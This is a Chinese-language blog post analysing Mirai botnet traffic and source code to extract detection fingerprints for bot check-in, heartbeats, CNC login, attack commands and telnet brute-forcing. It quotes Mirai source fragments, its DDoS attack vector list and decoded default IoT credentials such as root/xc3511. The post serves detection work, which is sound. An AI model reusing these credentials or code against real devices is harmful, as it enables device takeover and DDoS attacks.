前两篇文章介绍了Mirai Botnet环境搭配、源码编译及修正、使用说明等。

Build Mirai botnet (I): Compile Mirai Source

Build Mirai botnet (II): Bruteforce and DDoS Attack

本篇从流量和源码两个方面分析并提取Mirai各组件指纹。

Bot上线

发送方	协议	数据
bot	telnet	\x00\x00\x00\x01
cnc	tcp	ack
bot	telnet	\x00
cnc	tcp	ack

进行三次握手之后，发送两次telnet数据，返回ack：

源码

上线包分为三个部分，其中首次连接时id_len==0，实际只发送两个telnet包。

main.c line 263

send(fd_serv, "\x00\x00\x00\x01", 4, MSG_NOSIGNAL);
send(fd_serv, &id_len, sizeof (id_len), MSG_NOSIGNAL); // id_len is 0
if (id_len > 0)
{
    send(fd_serv, id_buf, id_len, MSG_NOSIGNAL);
}

Bot心跳

• 特征：间隔时间60s

发送方	协议	数据
bot	telnet	/x00/x00
cnc	telnet	/x00/x00
bot	tcp	ack

在未收到cnc的指令时，bot默认每隔60秒与cnc沟通一次。

源码中进行select操作之前等待10秒，如果select结果为0，则按6次的循环周期发送心跳包。

main.c line 193

timeo.tv_usec = 0;
timeo.tv_sec = 10; // wait 10 seconds
nfds = select(mfd + 1, &fdsetrd, &fdsetwr, NULL, &timeo);
if (nfds == -1)
{
#ifdef DEBUG
    printf("select() errno = %d\n", errno);
#endif
    continue;
}
else if (nfds == 0)
{
    uint16_t len = 0;
    if (pings++ % 6 == 0) // 60 sec a loop
        send(fd_serv, &len, sizeof (len), MSG_NOSIGNAL);
}

用户登入CNC

这里数据量较大，整体沟通过程如下图所示，我们按图中数据按蓝色部分分为四快，并逐块分析之。

block 1

cnc向bot发送三个telnet包

指纹：

发送方	协议	数据
cnc	telnet	.[?1049h
cnc	telnet	\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22
cnc	telnet	data from prompt.txt

第一条数据设置命令行文字输出颜色， 第二条数据设置telnet的行为， 第三条数据是从prompt.txt中读取的用户提示信息(前两篇提到过)

源码分析

admin.go line 20

func (this *Admin) Handle() {
    this.conn.Write([]byte("\033[?1049h"))  //set message's color
    this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22")) //tell telnet how to print message

    defer func() {
        this.conn.Write([]byte("\033[?1049l"))
    }()

    headerb, err := ioutil.ReadFile("prompt.txt")
    if err != nil {
        return
    }

    header := string(headerb)
    this.conn.Write([]byte(strings.Replace(strings.Replace(header, "\r\n", "\n", -1), "\n", "\r\n", -1))) // send prompt data

block 2

提示用户输入用户名

发送方	协议	数据
cnc	telnet	\033[34;1mпользователь\033[33;3m: \033[0m

提示用户登录输入用户名， 然后user逐个字符发送用户名，cnc接收后返回。

admin.go line 37

this.conn.SetDeadline(time.Now().Add(60 * time.Second))
this.conn.Write([]byte("\033[34;1mпользователь\033[33;3m: \033[0m")) //输入用户名
username, err := this.ReadLine(false) //接受用户输入
if err != nil {
    return
}

block 3

提示用户输入密码

发送方	协议	数据
cnc	telnet	\033[34;1mпароль\033[33;3m: \033[0m

admin.go line 45

this.conn.SetDeadline(time.Now().Add(60 * time.Second))
this.conn.Write([]byte("\033[34;1mпароль\033[33;3m: \033[0m"))
password, err := this.ReadLine(true)
if err != nil {
    return
}

block 4

接下来我们看图中剩余的一大块蓝色部分

发送方	协议	数据
cnc	telnet	\033[37;1mпроверив счета... \033[31m

该数据重复发送多次，只是为了在末尾做出一个“加载中”的动态旋转效果。

this.conn.SetDeadline(time.Now().Add(120 * time.Second))
this.conn.Write([]byte("\r\n"))
spinBuf := []byte{'-', '\\', '|', '/'}
for i := 0; i < 15; i++ {
    this.conn.Write(append([]byte("\r\033[37;1mпроверив счета... \033[31m"), spinBuf[i % len(spinBuf)]))
    time.Sleep(time.Duration(300) * time.Millisecond)
}

登录成功后的部分提示信息也可作为指纹

发送方	协议	数据
cnc	telnet	[+] DDOS
cnc	telnet	Wiping env libc.poison.so

block 5

cnc与用户之间的"心跳"，每秒更新一次当前bot的数量。

• 特征：每秒发送一次

发送方	协议	数据
cnc	telnet	Bots Connected

admin.go line 95

time.Sleep(time.Second)
if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Bots Connected | %s\007", BotCount, username))); err != nil {
    this.conn.Close()
    break
}

CNC下发攻击指令

这里因为攻击指令很多，情况较复杂，没有固定化的指纹，先看沟通过程。

双方先互换/x00/x00确认，然后cnc向bot发送一条攻击指令。

攻击指令：

按数据的构造顺序

名称	长度(Byte)
duration	4
attack_type	1
target_num	1
target_IP	4
mask	1
flag_num	1
flag	2
total_length	2

如果target_num和flag_num不为1的话，下面的IP,MASK,FLAG会按格式循环出现，如

[target_num] 02 [IP] 08 08 08 08 [MASK] 20 [IP] 07 07 07 07 [MASK] 20

图中数据对应的攻击指令为

udp 8.8.8.8 1 dport=55

相关源码位置：

attack.go line 318 func (this *Attack) Build() ([]byte, error)

攻击类型

共支持11种攻击方式（其中8已被取消）

bot/attack.h line 34

#define ATK_VEC_UDP        0  /* Straight up UDP flood */
#define ATK_VEC_VSE        1  /* Valve Source Engine query flood */
#define ATK_VEC_DNS        2  /* DNS water torture */
#define ATK_VEC_SYN        3  /* SYN flood with options */
#define ATK_VEC_ACK        4  /* ACK flood */
#define ATK_VEC_STOMP      5  /* ACK flood to bypass mitigation devices */
#define ATK_VEC_GREIP      6  /* GRE IP flood */
#define ATK_VEC_GREETH     7  /* GRE Ethernet flood */
//#define ATK_VEC_PROXY      8  /* Proxy knockback connection */
#define ATK_VEC_UDP_PLAIN  9  /* Plain UDP flood optimized for speed */
#define ATK_VEC_HTTP       10 /* HTTP layer 7 flood */

Bot发起攻击

• 特征：存在DoS攻击流量

Bot解析CNC的指令并发起攻击

Telnet爆破

• 特征：存在syn扫描、telnet爆破流量

Bot感染之后会自动寻找目标进行telnet爆破，其随机生成目标之后，采用tcp-syn-scan方式进行telnet探测，随后使用内置的小字典进行暴力破解，成功之后会将爆破结果发送给report服务器，同时在受害者的主机执行命令，将其感染为bot。

Mirai使用一种"改良版"的syn扫描来提高探测速度：

scanner.c line 52

if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))
    continue;
if (iph->daddr != LOCAL_ADDR)
    continue;
if (iph->protocol != IPPROTO_TCP)
    continue;
if (tcph->source != htons(23) && tcph->source != htons(2323))
    continue;
if (tcph->dest != source_port)
    continue;
if (!tcph->syn)
    continue;
if (!tcph->ack)
    continue;
if (tcph->rst)
    continue;
if (tcph->fin)
    continue;
if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
    continue;

其内置密码60条，包含常见弱口令及一些物联网设备的默认密码。

源码scanner.c line 124

// Set up passwords
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10);                     // root     xc3511
add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);                          // root     vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);                          // root     admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7);                      // admin    admin
add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6);                      // root     888888
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5);                  // root     xmhdipc

...

这一步的沟通过程：

建立tcp握手之后，仅进行一次登录尝试，然后发送一系列命令判断是否登录成功。

指纹: 连续发送以下指令可匹配Bot身份

发送方	协议	数据
bot	telnet	enable.
bot	telnet	system.
bot	telnet	shell.
bot	telnet	/bin/busybox MIRAI.

其中由于telnet设备各异，大多数请况下Bot发送到第三条指纹就被断开连接。

总结

CNC

心跳（入流量）

• 特征：间隔时间60s

发送方	协议	数据
bot	telnet	/x00/x00
cnc	telnet	/x00/x00
bot	tcp	ack

用户提示（出流量）

发送方	协议	数据
cnc	telnet	\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22
cnc	telnet	[+] DDOS
cnc	telnet	Wiping env libc.poison.so
cnc	telnet	\033[34;1mпользователь\033[33;3m: \033[0m
cnc	telnet	\033[34;1mпароль\033[33;3m: \033[0m

用户消息推送（出流量）

• 特征：每秒发送一次

发送方	协议	数据
cnc	telnet	Bots Connected

开放端口

端口	协议	服务
23	tcp	telnet
101	tcp	telnet

Bot

心跳（出流量）

• 特征：间隔时间60s

发送方	协议	数据
bot	telnet	/x00/x00
cnc	telnet	/x00/x00
bot	tcp	ack

telnet爆破（出流量）

• 特征：大量、连续发送以下数据

发送方	协议	数据
bot	telnet	enable.
bot	telnet	system.
bot	telnet	shell.
bot	telnet	/bin/busybox MIRAI.

存在syn扫描及DoS流量（出流量）

Report

开放端口

端口	协议	服务
48101	tcp	tcpwrapped